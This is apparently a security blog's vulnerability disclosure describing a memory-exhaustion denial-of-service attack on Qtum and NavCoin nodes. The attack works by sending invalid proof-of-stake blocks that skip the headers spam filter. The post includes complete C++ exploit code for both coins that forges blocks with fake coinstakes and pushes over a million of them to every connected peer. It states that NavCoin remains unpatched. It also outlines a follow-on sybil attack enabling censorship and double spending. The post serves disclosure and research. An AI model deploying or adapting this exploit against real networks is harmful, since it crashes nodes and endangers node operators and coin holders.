Welcome to the next episode. In September we have published NavCoin – Bypassing Header Spam Protection, which was a denial of service attack against the header spam filter in NavCoin. As far as we know, this issue has not been fixed in NavCoin yet. A failed attempt to fix this issue can be found on the project's GitHub.
The vulnerability we are disclosing today affects/affected multiple coins – at least Qtum and NavCoin. It has been fixed in Qtum for quite a long time now (see commit from 17th May; there are also additional countermeasures implemented later that invalidate the attack as described below), whereas it is still an open issue in NavCoin. Therefore we should prove the knowledge for Qtum, which we do at the end of the post as usual. In case of NavCoin, you can just check the latest code right now to see it is still vulnerable, so no need for additional proof there.
Direct Block Propagation
Bug type: DoS
Bug severity: 6/10
Scenario 1
Attacker cost: very low
In this scenario the attacker targets one or more specific nodes that the attacker wants to crash. The attacker needs a direct connection to the target node, so we expect the target node to be operating on a publicly accessible network interface – i.e. public IP address and open firewall port. Eventually, the attacker is able to create connection to every public node in the network and crash all such nodes. The network will become dysfunctional. In order to recover, the node operators have to delete their databases and synchronise the blockchain from scratch. Simply restarting the node will not help. However, should the attacker be persistent, there won't be any public node to synchronise from. It can thus be very difficult to recover the network before the bug is fixed and all nodes upgrade to the new version.
Scenario 2
Attacker cost: medium
In this scenario, the attacker buys a nontrivial amount of coins and they also perform a sybil attack against the network – this means they will create a large number of fully operational public nodes. Then they will perform Scenario 1 attack against all other public nodes in order to crash them. This will cause that all the block propagation in the network will only have to go through the public nodes of the attacker. This allows the attacker to censor any transaction as well as censor any block, which further allows the attacker to create a longest chain with just fractional stake, compared to the original staking power of the network. With just a fraction of the network staking power, the difficulty will go down very quickly because the blocks will not be produced within the expected timeframe. Eventually the difficulty will decrease enough for the attacker to produce a chain that looks healthy and it is fully controlled by the attacker. This allows the attacker to perform additional attacks such as double spending. Also in this case, non-public nodes will be connected to attacker's nodes, so it is possible here to crash them as well. This means that here we are not assuming the target nodes to be public.
Description:
This attack is inspired by Fake Stake attack, which was addressed by Qtum in October 2018 by implementing so called headers spam filter and by Navcoin in December 2018 (from our previous NavCoin post, we know their fix was basically copy and paste from Qtum's code without understanding it properly). We present an attack which leads to similar memory exhaustion on target nodes.
The core observation we need to perform this attack is that a node is free to construct an invalid block and send it to its peer without previously announcing the block using headers protocol. The headers spam filter logic is only executed when explicit headers message arrives, but it is not executed when blocks arrive without prior headers announcement.
In order to create a proof of stake block, the block producers usually need to stake their coins. However, an attacker with no coins can still create a new block, but this block will be invalid because its coinstake kernel will not be an unspent coin (either it will be a nonexisting prevout or it will be a spent coin). When such a block is produced and delivered to a peer, the target node processes the block. If the block is constructed in a way that it does not improve the best chain, the target node will never attempt to connect such a block. Connection of a block is a process during which the final part of validation is performed. Only at this stage it is checked whether the coinstake kernel is an unspent coin.
Another important aspect that we use in this attack is that AcceptBlockHeader is called quite early during block processing, before the block's total work is compared to the node's best chain work. At its end, AcceptBlockHeader calls AddToBlockIndex, which creates a new CBlockIndex and connects it to the tree of block indices. It also adds a new entry to mapBlockIndex structure. The operations of AddToBlockIndex allocate roughly about 400 bytes of memory, which is never freed even if the peer that presented blocks represented by the newly created objects is disconnected. Moreover, even though such branches of the block index are useless, they are persisted to the database and they are loaded to the memory from the database when the node is restarted.
This allows the attacker to create invalid blocks that don't form the best chain in large quantities and send them to target nodes with very little cost. The attacker only needs to have enough bandwidth. Speaking roughly, for each byte the attacker sends over the network to the target node, the target node will allocate one byte of memory and one byte of space in the database on the disk. These allocations stay in memory until the node is restarted and forever on the disk until the database is deleted.
The following code is the main part of our exploit. Note that the codes were compatible with the latest code base of each coin at the time of writing and since the code base of NavCoins is evolving, it may need some minor tweaks to be compilable. It replaces the original staking code in ThreadStakeMiner function. For Qtum:
int64_t nTotalFees = 0;
CBlockIndex* pindexPrev = chainActive.Tip()->pprev->pprev->pprev->pprev->pprev;
std::unique_ptr<CBlockTemplate> pblocktemplate(BlockAssembler(Params()).CreateEmptyBlock(pindexPrev, reservekey.reserveScript, true, true, &nTotalFees));
CKey key;
WalletBatch batch(pwallet->GetDBHandle());
CPubKey pubKey = pwallet->GenerateNewKey(batch, false);
pwallet->GetKey(pubKey.GetID(), key);
std::shared_ptr<CBlock> pblock = std::make_shared<CBlock>(pblocktemplate->block);
for (int i = 0; i < 1200000; i++) {
if (SignBlockEx(pblock, pindexPrev, *pwallet, nTotalFees, GetAdjustedTime(), key)) {
if (key.Sign(pblock->GetHashWithoutSign(), pblock->vchBlockSig)) {
const CBlock& block = *pblock;
g_connman->ForEachNode([&block](CNode* pnode) {
const CNetMsgMaker msgMaker(pnode->GetSendVersion());
g_connman->PushMessage(pnode, msgMaker.Make(NetMsgType::BLOCK, block));
});
}
}
}
And the same for NavCoin:
uint64_t nTotalFees = 0;
CBlockIndex* pindexPrev = chainActive.Tip()->pprev->pprev->pprev->pprev->pprev;
CKey key;
CPubKey pubKey = pwalletMain->GenerateNewKey();
pwalletMain->GetKey(pubKey.GetID(), key);
for (int i = 0; i < 1200000; i++) {
std::unique_ptr<CBlockTemplate> pblocktemplate(BlockAssembler(Params()).CreateNewBlock(coinbaseScript->reserveScript, true, &nTotalFees, pindexPrev));
std::shared_ptr<CBlock> pblock = std::make_shared<CBlock>(pblocktemplate->block);
if (SignBlockEx(pblock, pindexPrev, *pwalletMain, nTotalFees, GetAdjustedTime(), key)) {
if (key.Sign(pblock->GetHash(), pblock->vchBlockSig)) {
const CBlock& block = *pblock;
BOOST_FOREACH(CNode* pnode, vNodes) {
pnode->PushMessage(NetMsgType::BLOCK, block);
}
}
}
}
And here is the implementation of SignBlockEx called from above. It creates a new block with invalid coinstake, just to allow the attacker to operate without having any coins (see Scenario 1 above). For Qtum:
bool SignBlockEx(std::shared_ptr<CBlock> pblock, CBlockIndex* pindexPrev, CWallet& wallet, const CAmount& nTotalFees, uint32_t nTime, CKey& key)
{
CMutableTransaction txCoinStake(*pblock->vtx[1]);
uint32_t nTimeBlock = nTime;
nTimeBlock &= ~STAKE_TIMESTAMP_MASK;
txCoinStake.vin.clear();
txCoinStake.vout.clear();
CScript scriptEmpty;
scriptEmpty.clear();
txCoinStake.vout.push_back(CTxOut(0, scriptEmpty));
static unsigned int n = 0;
txCoinStake.vin.push_back(CTxIn(uint256S("0x1234"), n++));
CScript scriptPubKeyOut;
scriptPubKeyOut << key.GetPubKey().getvch() << OP_CHECKSIG;
txCoinStake.vout.push_back(CTxOut(10000, scriptPubKeyOut));
pblock->nTime = nTimeBlock;
pblock->vtx[1] = MakeTransactionRef(std::move(txCoinStake));
pblock->hashMerkleRoot = BlockMerkleRoot(*pblock);
pblock->prevoutStake = pblock->vtx[1]->vin[0].prevout;
return key.Sign(pblock->GetHashWithoutSign(), pblock->vchBlockSig);
}
And the same for NavCoin:
bool SignBlockEx(std::shared_ptr<CBlock> pblock, CBlockIndex* pindexPrev, CWallet& wallet, const CAmount& nTotalFees, uint32_t nTime, CKey& key)
{
CMutableTransaction txCoinStake;
uint32_t nTimeBlock = nTime;
nTimeBlock &= ~STAKE_TIMESTAMP_MASK;
txCoinStake.vin.clear();
txCoinStake.vout.clear();
CScript scriptEmpty;
scriptEmpty.clear();
txCoinStake.vout.push_back(CTxOut(0, scriptEmpty));
static unsigned int n = 0;
txCoinStake.vin.push_back(CTxIn(uint256S("0x1234"), n++));
CScript scriptPubKeyOut;
scriptPubKeyOut << key.GetPubKey() << OP_CHECKSIG;
txCoinStake.vout.push_back(CTxOut(10000, scriptPubKeyOut));
txCoinStake.nTime = nTimeBlock;
pblock->vtx[0].nTime = pblock->nTime = txCoinStake.nTime;
txCoinStake.nVersion = CTransaction::TXDZEEL_VERSION_V2;
CTransaction txNew;
*static_cast<CTransaction*>(&txNew) = CTransaction(txCoinStake);
pblock->vtx.insert(pblock->vtx.begin() + 1, txNew);
pblock->vtx[0].UpdateHash();
pblock->hashMerkleRoot = BlockMerkleRoot(*pblock);
return true;
}
Proof of Knowledge (Qtum)
As usual in case of already fixed bugs, we should present a proof that we were aware of the bug before it was fixed. We do that with the help of OpenTimestamps. Our timestamp data is the following string:
art_of_bug - Qtum - DoS attack exhausting memory of the target node through direct announcement of invalid block without using headers protocol. Block must pass through validation up to AddToBlockIndex (where memory is allocated for CBlockIndex). Block does not extend the longest chain, thus full validation is not performed. This allows the attacker to produce large number of such blocks without being banned. Block index is also written to disk, which causes the target node to be affected even after restarting.
The OTS file proving our knowledge converted to hex looks as follows:
004f70656e54696d657374616d7073000050726f6f6600bf89e2e884e8929401081d08f1955b3e0e001da5c78e4db68c5ca9ae3a9499c22933e8f2b77c252e71eaf010aab23b1d15fc95dd4b6f91a05b80fcde08fff01049a9dcfad156935cddf852e2cf26a11008f1045cd30371f00890f9023bfb7134870083dfe30d2ef90c8e2e2d68747470733a2f2f616c6963652e6274632e63616c656e6461722e6f70656e74696d657374616d70732e6f7267fff0100254bcc31ae148718f56fbdc84af8f5208f1045cd30371f00806431ebf8208f3190083dfe30d2ef90c8e2c2b68747470733a2f2f626f622e6274632e63616c656e6461722e6f70656e74696d657374616d70732e6f7267f0100529d2625528df4582805ba58f803e8708f010f33d5b60022a5b8093f9f1c385dabd1c08f1045cd30370f008179afa3c3d2705140083dfe30d2ef90c8e292868747470733a2f2f66696e6e65792e63616c656e6461722e657465726e69747977616c6c2e636f6d
If you run OpenTimestamps client correctly, you should see something like this:
This proves that we created the record on 8th May 2019, well before the fix was implemented on 17th May. The spam filter logic has been added to the execution flow that deals with processing blocks, before it was only applied when receiving headers.
